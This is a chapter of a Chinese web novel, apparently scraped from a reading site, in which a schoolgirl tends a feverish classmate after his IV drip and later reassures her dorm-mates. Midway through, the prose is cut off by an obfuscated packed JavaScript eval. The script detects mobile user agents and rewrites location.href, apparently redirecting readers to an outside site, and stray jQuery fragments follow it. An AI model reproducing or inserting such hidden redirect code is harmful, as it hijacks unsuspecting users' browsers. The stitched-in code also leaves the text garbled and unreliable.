32. spring day

作品:《春日青柠

    简以寻输完液的时候,距离晚自习下课过去了约莫二十分钟。


    校医给简以寻拔完输液针,递给他一根棉签,嘱咐他再摁一会,简以寻接过按住。


    初柠收拾完书包,转过身,恰好目睹简以寻在校医离开后,一点没有病人遵医嘱的自觉,手随意地一抬,要把手里的棉签扔进旁边的垃圾桶。


    棉签上沾了点血色,因着少年根本没好好摁着针眼,这会,针眼正往外冒着细细小小的血珠,淡青色的血管上那一抹红格外显眼。


    初柠下意识皱眉看向简以寻,而在对上她不赞同的目光的刹那,简以寻眼里闪过一瞬的心虚感。


    简以寻神色不太自然地又重新将棉签放在针眼处摁着。


    他的动作有点急,攥着棉签的那根手指似乎很用力,微泛白。


    初柠轻声提醒道:“你不要太用力,轻点摁。”


    简以寻懵了瞬,一下子没反应过来,手上的力气却丝毫未减。


    初柠瞧见了,拉好书包拉链,走上前,又拿了根新棉签,简以寻反应很快地把旧的那根扔进了垃圾桶。


    初柠低下头,目光投在简以寻手上的针孔处,棉签头很软,初柠的动作很轻柔。


    两个人离得稍近,简以寻只微垂眸,就能清晰地看见初柠那双长长的眼睫,轻轻扑动,如同蝴蝶在振动翅膀。


    初柠的眼神很专注,力气很轻,很小心,像是在哄小孩一般,语气温柔地关心道:“疼吗?”


    摁得疼吗?他手还疼吗?


    阿奇霉素带来的胀痛感还没有结束,明明他刚才随手摁了下,手上就有不舒适的痛感笼罩。


    可这会,墙壁上冷柔的灯光映衬在女孩的脸庞上,看着她宁静的侧脸。


    不知道怎么回事,简以寻的心跳莫名有点快,可能是烧还没退,他脸上的烫感渐渐爬上耳梢。


    高烧初愈,简以寻的嗓子有些哑,声音很低,他说:“不了。”


    可话刚说完,在初柠正要抬头的那一瞬,简以寻又猛地转了话音,说:“还有点痛。”


    初柠:“?”


    这到底是疼还是不疼。


    初柠疑惑地偏过头看向简以寻。


    少年的脸和唇都泛着生病的白,冷白的皮肤上还有一层高热尚未褪去的红,他这会垂着头,看着她,沉默安静,浑身上下有种说不出的脆弱感和乖巧感。


    有点像是一个调皮的小孩,生病后,一改平日满身戒备的攻击防御状态,自己都没意识到的,展示出自己的脆弱,在和在乎的人撒娇,换取对方的目光和关心。


    瞧着莫名有些……可怜。


    瞧他刚才那个样子,要是她不帮他摁住,估计他又是耍性子的直接不摁,是一个另医生头疼的病人。


    恻隐之心不由一动,初柠又用棉签轻轻摁了会简以寻微肿的针孔处。


    直到校医拎着个装了几道西药的塑料袋进来,看见初柠才把棉签扔进垃圾桶,而简以寻侧头看着初柠,略委屈地和初柠说,“还是有点痛。”


    校医眼神复杂地停在简以寻身上。


    他记得刚才给某人拔针,力道稍微大了,血都带出来些,这小男生可是一点反应都没有,这会怎么嗷嗷喊疼。


    再说了,阿奇霉素输完这么久了,副作用还有呢?


    校医很震惊,从业多年,这种情况见怪也好像不怪。


    校医把药递给简以寻,说药该怎么吃的时候是看着简以寻的,话却是对着初柠说的。


    校医说完后,看了眼时间,对初柠道:“再晚会宿舍快关门了,赶紧回去吧。”


    初柠点了点头。


    校医离开后。


    初柠问简以寻:“医生刚刚说这些药该怎么吃,你记住了吗?”


    简以寻随口应了句“嗯”。


    “……”


    默了会,初柠转身打开书包,从里面拿出笔,撕下一张便利贴,把刚才医生说过的注意事项一并写下来,缓缓,放进塑料袋里,一块递给简以寻。


    简以寻伸出食指,钩住上面提的地方。


    他说:“我送你回宿舍吧。”


    初柠:“没事,我自己回去就行,就在学校,几分钟,不会有事的。”


    简以寻语气难得强硬:“我送你。”


    初柠没再拒绝,背上书包,走在前面。


    走出门的时候,简以寻叠好被子,将医务室的东西重新摆好,关上灯,跟在初柠后面。


    白天下过雨,路面上还有很多积水,很浅,但是踩在上面,会有不轻不重的响声。


    尤其是这会,晚自习下课有这么久了,回宿舍的学生没几个。


    夜晚寂静得掷地有声,每一个细微的动静都好像被无限放大,在心里留下数倍的记忆。


    初柠和简以寻之间大概隔着两个步子,药放在兜里,两只手闲懒地抄兜,简以寻的目光紧紧盯着前面的女孩。


    她走在前面,他慢慢地跟在她身后,看着她的背影。


    在眼眸里,拓下她的模样。


    身体的不舒服仍在,记忆中的伤口也并没有随着时光的流逝而消散。


    不见了,会有人来找你,会有人担心你。


    生病了,会有人陪着你,会有人照顾你。


    这些对于大多数人来说稀疏平常的事,贯穿于他们成长的许多瞬间的小温馨,对于简以寻来说,是缺失的,是陌生的,是渴望的。


    他不曾知道春意是什么样,直到有一天,他感受到了,从此,再难忘却。


    他不奢望春会为他停留,他也不配,春也本该明媚在上,他只是想要追随春,成为春的影子,汲取一丝丝春随意的边角温暖。


    对于常年处于冬日的他来说,便足矣。


    雨后的夜晚静谧星稀,可今夜,奇怪的,月亮很亮,星星也很闪耀,就伴在月亮的身边。


    简以寻的唇角挂着他自己都没察觉到的笑。


    记忆里一直黑暗模糊,裹着说不尽的伤痛的冬天。


    第一次,抹上了满园的春意。


    -


    初柠回宿舍的时候,唐琦她们还没有睡。


    见初柠回来,陈茜好奇地问他简以寻的事。


    初柠含糊地应付过去,就说是她在教学楼碰巧遇见发烧的简以寻,把他送去了校医室而已。


    传了一晚自习的“校草雨中落泪发烧,究竟为何”的八卦,到初柠这就变成很平常的“同学生病被好心送到校医室”。


    初柠的表情很平静,她本人又是那种不会说谎很乖的学生,她说出来的话很有信服度,没人会觉得她会说谎。


    陈茜失落地拉着赵双玲说:“到嘴的八卦就这么没了,终究是人传人,班传班,越传越离谱!”


    倒是唐琦,在她洗漱完坐床上用毛巾擦着还有些湿的发尾时,唐琦问道:“你淋完雨有哪里不舒服吗?”


    初柠下意识道:“没有。”


    说完后,对上唐琦关心复杂的眼神,初柠才意识到什么。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769746|153020||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    简以寻今天那样子是很不对劲,但是事关他的隐私,他不愿多说,初柠不会多问,也不会再对他人多说。


    但唐琦也不是他人。


    初柠微犹豫。


    纠结间,她听见唐琦说:“没事就行。幸亏简以寻的伞够大,不然要是把你也淋感冒了,我明天高低给他和周一尧一人一拳。他一拳,周一尧两拳。”


    对上唐琦关切的目光和开玩笑的话语,初柠笑了笑,心下轻松许多。


    她笑着说:“周一尧怎么也要挨揍?”


    唐琦理所应当道:“简以寻都揍了,还差他一个?连坐罪懂吗?周一尧更要揍得狠!”


    初柠挽住唐琦的胳膊,笑着说:“知道你关心我,最好了,我真没事。”


    唐琦:“那简以寻也还好吧?”


    初柠说:“嗯,已经退烧了,校医说再吃几天药应该就没问题了。”


    就是不知道简以寻会不会听劝去医院再好好看看。


    过敏性哮喘,想到医生说的话,又想到简以寻今天失控般的自弃,初柠不由皱了皱眉。


    唐琦感慨:“他真该好好谢谢你,你算是他救命恩人了。他要是个有良心的,之后就不该再欺负你和你作对,应该把你供起来!”


    唐琦盘坐在床上,霎有其事地平展开双手,自下而上举起,做出供奉状。


    初柠无所谓地笑了下,说:“人没事,平安健康就行。”


    -


    周一尧在教室门口等简以寻等得哈欠连天,猝地打了个响亮的喷嚏。


    周一尧揉了揉鼻子,自言自语:“谁在那儿骂小爷呢?”


    再抬头,周一尧看见走过来的简以寻。


    他忙上前,拉住简以寻的胳膊,上上下下,前前后后,仔细看了遍简以寻。


    最后,停在他苍白的脸上,松了口气道:“简哥我还以为你要嘎了,你没事就行!”


    简以寻挑眉道:“我有那么脆弱吗?”


    周一尧“啧”了声:“简以寻,我说你就别逞强了哈,都发烧输液在校医室躺一晚自习,人初柠回来拿书包的时候气都没喘一口,就又奔医务室去了,我差点以为你立刻要撅了!”


    周一尧的语气很夸张。


    简以寻听见某个名字,顿了顿,状似随意道:“初柠很着急吗?”


    周一尧狂点头:“当然!”


    简以寻的嘴角又上扬些。


    周一尧没注意,自顾自地激动道:“所以啊,你以后别再老欺负人初柠了,看看人家多善良,多大度!就你平常那臭脸,那屁态度,你生病了人还去照顾你!这是多么伟大!多么值得你感激!”


    简以寻蹙眉道:“我平常对初柠态度很不好?”


    周一尧分外的斩钉截铁道:“是的。”


    他说:“你是不知道平常我有多辛苦地在帮你挽回形象!”


    初柠脾气好,大家对初柠印象都很好,都挺喜欢她的,一番对比下,简以寻的形象简直不要有一跌再跌,比股票还要冒绿光跌。


    简以寻本来想反驳他没有,他明明还正在主动示好,随时准备和初柠当朋友,态度哪有问题了。


    可对上周一尧感慨复杂的眼神,简以寻突然也不太确定了。


    再又一番细细回想,大概可能略微是好像有点……不太好。


    隔了会,简以寻难得认可道:“你说得对。”


    是他做得不对,也不够好。


    他得再再再对她好一点。